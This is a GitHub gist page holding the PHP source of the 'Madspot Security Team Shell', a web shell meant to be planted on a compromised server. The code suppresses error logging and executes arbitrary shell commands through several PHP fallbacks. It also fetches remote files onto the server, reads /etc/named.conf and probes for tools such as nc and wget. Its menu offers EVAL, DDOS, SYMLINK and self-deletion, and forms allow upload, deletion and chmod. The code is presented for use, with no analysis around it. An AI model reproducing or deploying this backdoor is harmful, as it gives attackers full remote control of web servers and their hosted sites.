Skip to content

Instantly share code, notes, and snippets.

@smiler
Last active December 10, 2015 22:18
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save smiler/4500976 to your computer and use it in GitHub Desktop.
Save smiler/4500976 to your computer and use it in GitHub Desktop.
?><?php
/**
* @author Ikram ALI
* @copyright 2012
*/
@define('VERSION','1.0');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()) {
function madstripslashes($array) {
return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array);
}
$_POST = madstripslashes($_POST);
}
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys='win';
else
$sys='unix';
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($sys == 'win')
{
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
function madEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
$down=@getcwd();
if($sys=="win")
$down.='\\';
else
$down.='/';
if(isset($_POST['rtdown']))
{
$url = $_POST['rtdown'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
}
function madhead()
{
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get('open_basedir'))
$open_b=@ini_get('open_basedir');
else
$open_b=$none;
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('c','z') as $drive)
if(is_dir($drive.':\\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/>
<title>Madspot Security Team Shell</title>
<style type="text/css">
<!--
.whole {
background-color: #CCC;
height:auto;
width: auto;
margin-top: 10px;
margin-right: 10px;
margin-left: 10px;
}
.header {
height: auto;
width: auto;
border: 7px solid #CCC;
color: #999;
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
}
.header a {color:#0F0; text-decoration:none;}
span {
font-weight: bolder;
color: #FFF;
}
#meunlist {
font-family: Verdana, Geneva, sans-serif;
color: #FFF;
background-color: #000;
width: auto;
border-right-width: 7px;
border-left-width: 7px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #CCC;
border-right-color: #CCC;
border-bottom-color: #CCC;
border-left-color: #CCC;
height: auto;
font-size: 12px;
font-weight: bold;
border-top-width: 0px;
}
.whole #meunlist ul {
padding-top: 5px;
padding-right: 5px;
padding-bottom: 7px;
padding-left: 2px;
text-align:center;
list-style-type: none;
margin: 0px;
}
.whole #meunlist li {
margin: 0px;
padding: 0px;
display: inline;
}
.whole #meunlist a {
font-family: arial, sans-serif;
font-size: 14px;
text-decoration:none;
font-weight: bold;
color: #fff;
clear: both;
width: 100px;
margin-right: -6px;
padding-top: 3px;
padding-right: 15px;
padding-bottom: 3px;
padding-left: 15px;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #FFF;
}
.whole #meunlist a:hover {
color: #000;
background: #fff;
}
.foot {
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
margin: 0px;
padding: 0px;
width: 100%;
text-align: center;
font-size: 12px;
color: #CCC;
border-right-width: 7px;
border-left-width: 7px;
border-bottom-width: 7px;
border-bottom-style: solid;
border-right-style: solid;
border-right-style: solid;
border-left-style: solid;
border-top-color: #CCC;
border-right-color: #CCC;
border-bottom-color: #CCC;
border-left-color: #CCC;
}';
if(is_writable($GLOBALS['cwd']))
{
echo ".foottable {
width: 300px;
font-weight: bold;
}";}
else
{
echo ".foottable {
width: 300px;
font-weight: bold;
background-color:red;
}
.dir {
background-color:red;
}
";
}
echo '.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:red;}
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
</style>
';
echo "<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}</script>";
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<div class="header"><table width="100%" border="0" align="lift">
<tr>
<td width="3%"><span>Uname:</span></td>
<td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
</tr>
<tr>
<td><span>User:</span></td>
<td>'. $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
<td width="14%" rowspan="8"><img alt="" src="data:image/jpeg;base64,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" /></td>
</tr>
<tr>
<td><span>PHP:</span></td>
<td>'.@phpversion(). ' <span> Safe Mode:'.$safe_modes.'</span></td>
</tr>
<tr>
<td><span>Our IP:</span></td>
<td>'.@$_SERVER["SERVER_ADDR"].' <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
</tr>
<tr>
<td><span>WEBS:</span></td>
<td width="76%">';
if($GLOBALS['sys']=='unix')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "CANT READ named.conf";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "$count Domains";
}
}
else{ echo"CANT READ |Windows|";}
echo '</td>
</tr>
<tr>
<td height="16"><span>HDD:</span></td>
<td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
</tr>';
if($GLOBALS['sys']=='unix' )
{
if(!@ini_get('safe_mode'))
{
echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item)
if(madWhich($item))
echo $item.',';
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span>Downloader:</span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2)
if(madWhich($item2))
echo $item2.',';
echo '</td>
</tr>';
}
else
{
echo '<tr><td height="18" colspan="2"><span>useful:</span>';
echo '--------------</td>
</tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>';
}
}
else
{
echo '<tr><td height="18" colspan="2"><span>Window:</span>';
echo madEx('ver');
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>';
}
echo '<tr>
<td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
</tr>
<tr>
<td height="16" colspan="2"><span>cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").'</td>
</tr>
<tr>
<td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.'</td>
</tr>
<tr>
<td height="11"><span>Server </span></td>
<td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
</tr>';
if($GLOBALS[sys]=="win")
{
echo '<tr>
<td height="12"><span>DRIVE:</span></td>
<td colspan="2">'.$drives.'</td>
</tr>';
}
echo '<tr>
<td height="12"><span>PWD:</span></td>
<td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">MADSPOT</a></li>
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
</ul>
</div>
';
}
function madfooter()
{
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>__MK FILE__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>__MK DIR__</span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span>__DELETE__</span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
<td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span>__CHMOD__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span>__CHANGE DIR__</span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
<td colspan='2'><form method='post' ><span>__HTTP DOWNLOAD__</span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
</tr>
<tr>
<td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
</tr>
</table>
</div>
</body>
</html>
";
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function madWhich($p) {
$path = madEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function madSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function madPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function madPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . madPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . madPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . madPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function madFilesMan() {
madhead();
echo '<div class=header><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_POST['p2']))
deleteDir(@$_POST['p2']);
else
@unlink(@$_POST['p2']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo '<h3><span>| Access Denied! |</span></h3></div>';madFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "
<table width='100%' class='main' cellspacing='0' cellpadding='2' >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => madPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?madSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
$l = $l?0:1;
}
